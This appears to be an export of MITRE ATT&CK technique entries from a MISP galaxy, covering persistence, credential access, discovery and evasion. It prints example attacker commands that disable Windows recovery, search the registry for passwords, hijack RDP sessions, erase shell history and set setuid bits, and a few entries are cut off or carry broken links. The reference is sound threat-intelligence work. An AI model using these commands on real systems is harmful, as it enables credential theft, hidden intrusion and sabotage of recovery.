- `<code>bcdedit.exe</code>` can be used to disable automatic Windows recovery features by modifying boot configuration data - `<code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>`

The tag is: `misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490"`
Server Software Component - T1505

Adversaries may abuse legitimate extensible development features of server applications to establish persistent access to systems. Enterprise server applications may include features that allow application developers to write and install software to extend the functionality of the main application. Adversaries may install malicious software components to maliciously extend and abuse server applications.

### Transport Agent

Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails. (Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks.

Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events. (Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary.

### SQL Stored Procedures

SQL stored procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted). Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers. (Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as `<code>xp_cmdshell</code>` for MSSQL Server. (Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017)

Microsoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.). (Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures, these CLR assemblies can be made to execute arbitrary commands. (Citation: NetSPI SQL Server CLR)

The tag is: *misp-galaxy:mitre-attack-pattern="Server Software Component - T1505"*

Table 2396. Table References
**Web Session Cookie - T1506**

Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated. (Citation: Pass The Cookie)

Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

There have been examples of malware targeting session cookies to bypass multi-factor authentication systems. (Citation: Unit 42 Mac Crypto Cookies January 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Web Session Cookie - T1506"*

**Uncommonly Used Port - T1065**

Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.

The tag is: *misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065"*
Network Information Discovery - T1507

Adversaries may use device sensors to collect information about nearby networks, such as Wi-Fi and Bluetooth.

The tag is: misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507"

Pass the Hash - T1075

Pass the hash (PtH) is a method of authenticating as a user without having access to the user’s cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)

The tag is: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075"

Suppress Application Icon - T1508

A malicious application could suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed, and to make it more difficult for the user to uninstall the application. Hiding the application’s icon programmatically does not require any special permissions.

This behavior has been seen in the BankBot/Spy Banker and SimBad families of malware.(Citation:
Uncommonly Used Port - T1509

Adversaries may use non-standard ports to exfiltrate information.

The tag is: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1509"

Remote Desktop Protocol - T1076

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)

Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, `<code>c:\windows\system32\tscon.exe [session number to be stolen]</code>`, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1048)
techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)

The tag is: `misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076"

Permission Groups Discovery - T1069

Adversaries may attempt to find local system or domain-level groups and permissions settings.

Windows

Examples of commands that can list groups are `<code>net group /domain</code>` and `<code>net localgroup</code>` using the [Net](https://attack.mitre.org/software/S0039) utility.

Mac

On Mac, this same thing can be accomplished with the `<code>dscacheutil -q group</code>` for the domain, or `<code>dscl . -list /Groups</code>` for local groups.

Linux

On Linux, local groups can be enumerated with the `<code>groups</code>` command and domain groups via the `<code>ldapsearch</code>` command.

Office 365 and Azure AD

With authenticated access there are several tools that can be used to find permissions groups. The `<code>Get-MsolRole</code>` PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft msrole)(Citation: GitHub Raindance)

Azure CLI (AZ CLI) also provides an interface to obtain permissions groups with authenticated access to a domain. The command `<code>az ad user get-member-groups</code>` will list groups associated to a user account.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)

**Disabling Security Tools - T1089**

Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.

The tag is: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089"

**Space after Filename - T1151**

Adversaries can hide a program’s true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a
filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to "evil.txt " (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).

Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.

**Capture SMS Messages - T1412**

A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.

On Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement.

On iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.

The tag is: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412"
Credentials in Registry - T1214

The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.

Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)

- Local Machine Hive: `<code>reg query HKLM /f password /t REG_SZ /s</code>`
- Current User Hive: `<code>reg query HKCU /f password /t REG_SZ /s</code>`

The tag is: `misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214"

System Time Discovery - T1124

The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)

An adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing `<code>net time \hostname</code>` to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using `<code>w32tm /tz</code>`. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.

The tag is: `misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124"`
An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: **misp-galaxy:mitre-attack-pattern="Determine strategic target - T1241"**

**Standard Cryptographic Protocol - T1521**

Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.

The tag is: **misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1521"**

**Browser Bookmark Discovery - T1217**

Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.

Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials in Files](https://attack.mitre.org/techniques/T1081) associated with logins cached by a browser.

Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.
Trusted Developer Utilities - T1127

There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.

MSBuild

MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild)

Adversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: LOLBAS Msbuild)

DNX

The .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft.

An adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)

RCSI

The rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)

C# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do
not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)

WinDbg/CDB

WinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.

An adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)

It is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.

Tracker

The file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)

An adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: LOLBAS Tracker)

Netsh Helper DLL - T1128

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.

Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)

Proof of concept code exists to load Cobalt Strike’s payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)

Remote Access Tools - T1219

An adversary may use legitimate desktop support and remote access software, such as TeamViewer, Go2Assist, LogMeIn, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be whitelisted within a target environment. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Remote access tools may be established and used post-compromise as alternate communications channel for [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.

Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)

The tag is: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219"
External Remote Services - T1133

Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028) can also be used externally.

Adversaries may use remote services to initially access and/or persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of [Redundant Access](https://attack.mitre.org/techniques/T1108) during an operation.

The tag is: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133"

Obfuscation or cryptography - T1313

Obfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)

The tag is: misp-galaxy:mitre-attack-pattern="Obfuscation or cryptography - T1313"
Access Token Manipulation - T1134

Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command `<code>runas</code>`.(Citation: Microsoft runas)

Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)

Access tokens can be leveraged by adversaries through three methods:(Citation: BlackHat Atkinson Winchester Token Manipulation)

**Token Impersonation/Theft** - An adversary creates a new access token that duplicates an existing token using `<code>DuplicateToken(Ex)</code>`. The token can then be used with `<code>ImpersonateLoggedOnUser</code>` to allow the calling thread to impersonate a logged on user’s security context, or with `<code>SetThreadToken</code>` to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.

**Create Process with a Token** - An adversary creates a new access token with `<code>DuplicateToken(Ex)</code>` and uses it with `<code>CreateProcessWithTokenW</code>` to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.

**Make and Impersonate Token** - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the `<code>LogonUser</code>` function. The function will return a copy of the new session’s access token and the adversary can use `<code>SetThreadToken</code>` to assign the token to a thread.

Any standard user can use the `<code>runas</code>` command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.

Metasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges.(Citation: Metaspliot access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)

The tag is: *misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134"*

Table 2422. Table References
Account Access Removal - T1531

Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.

Adversaries may also subsequently log off and/or reboot boxes to set malicious changes into place. (Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)

The tag is: misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531"

Network Share Discovery - T1135

Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

Windows

File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)
Net[https://attack.mitre.org/software/S0039](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the `<code>net view \remotesystem</code>` command. It can also be used to query shared drives on the local system using `<code>net share</code>`.

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.

**Mac**

On Mac, locally mounted shares can be viewed with the `<code>df -aH</code>` command.

**Cloud**

Cloud virtual networks may contain remote network shares or file storage services accessible to an adversary after they have obtained access to a system. For example, AWS, GCP, and Azure support creation of Network File System (NFS) shares and Server Message Block (SMB) shares that may be mapped on endpoint or cloud-based systems.(Citation: Amazon Creating an NFS File Share)(Citation: Google File servers on Compute Engine)

The tag is: `misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135"`

**Office Application Startup - T1137**

Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.

**Office Template Macros**

Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)

Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in
order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations. (Citation: GlobalDotName Jun 2019)

Word

location: `<code>C:\Users\(username)\AppData\Roaming\Microsoft\Templates\Normal.dotm</code>`

Excel

location: `<code>C:\Users\(username)\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB</code>`

Adversaries may also change the location of the base template to point to their own by hijacking the application’s search order, e.g. Word 2016 will first look for Normal.dotm under `<code>C:\Program Files (x86)\Microsoft Office\root\Office16\</code>`, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location. (Citation: GlobalDotName Jun 2019)

An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.

**Office Test**

A Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)

`<code>HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf</code>`

**Add-ins**

Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)

Add-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRW Labs Office Persistence Add-ins) (Citation: FireEye Mail CDS 2018)

**Outlook Rules, Forms, and Home Page**

A variety of features have been discovered in Outlook that can be abused to obtain persistence,
such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)

Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)

Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook Forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)

Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)

To abuse these features, an adversary requires prior access to the user’s Outlook mailbox, either via an Exchange/OWA server or via the client application. Once malicious rules, forms, or Home Pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded while malicious rules and forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)(Citation: SensePost Outlook Forms)(Citation: SensePost Outlook Home Page)

**Dynamic Data Exchange - T1173**

Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.

Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)

Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.

Capture Clipboard Data - T1414

Adversaries may abuse Clipboard Manager APIs to obtain sensitive information copied to the global clipboard. For example, passwords being copy-and-pasted from a password manager app could be captured by another application installed on the device.(Citation: Fahl-Clipboard)

On Android, `<code>ClipboardManager.OnPrimaryClipChangedListener</code>` can be used by applications to register as a listener and monitor the clipboard for changes.(Citation: Github Capture Clipboard 2019)

Android 10 mitigates this technique by preventing applications from accessing clipboard data unless the application is on the foreground or is set as the device's default input method editor (IME).(Citation: Android 10 Privacy Changes)

SIM Card Swap - T1451

An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap) (Citation: Motherboard-Simswap2). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap).
One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account (Citation: Guardian-Simswap) (Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap).

Clear Command History - T1146

macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable `<code>HISTFILE</code>`. When a user logs off a system, this information is flushed to a file in the user's home directory called `<code>~/.bash_history</code>`. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as `<code>unset HISTFILE</code>`, `<code>export HISTFILESIZE=0</code>`, `<code>history -c</code>`, `<code>rm ~/.bash_history</code>`.

Password Filter DLL - T1174

Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.

Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a
password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)

Spearphishing via Service - T1194

Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.

A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary
can continue normal communications and troubleshoot with the target on how to get it working.

**Supply Chain Compromise - T1195**

Supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.

Supply chain compromise can take place at any stage of the supply chain including:

- Manipulation of development tools
- Manipulation of a development environment
- Manipulation of source code repositories (public or private)
- Manipulation of source code in open-source dependencies
- Manipulation of software update/distribution mechanisms
- Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware)
- Replacement of legitimate software with modified versions
- Sales of modified/counterfeit products to legitimate distributors
- Shipment interdiction

While supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)

</table>
Setuid and Setgid - T1166

When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user's context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn't need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.

An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user's context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).

</table>
Local Job Scheduling - T1168

On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).

**cron**

System-wide cron jobs are installed by modifying `<code>/etc/crontab</code>` file, `<code>/etc/cron.d/</code>` directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.

Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.

**at**

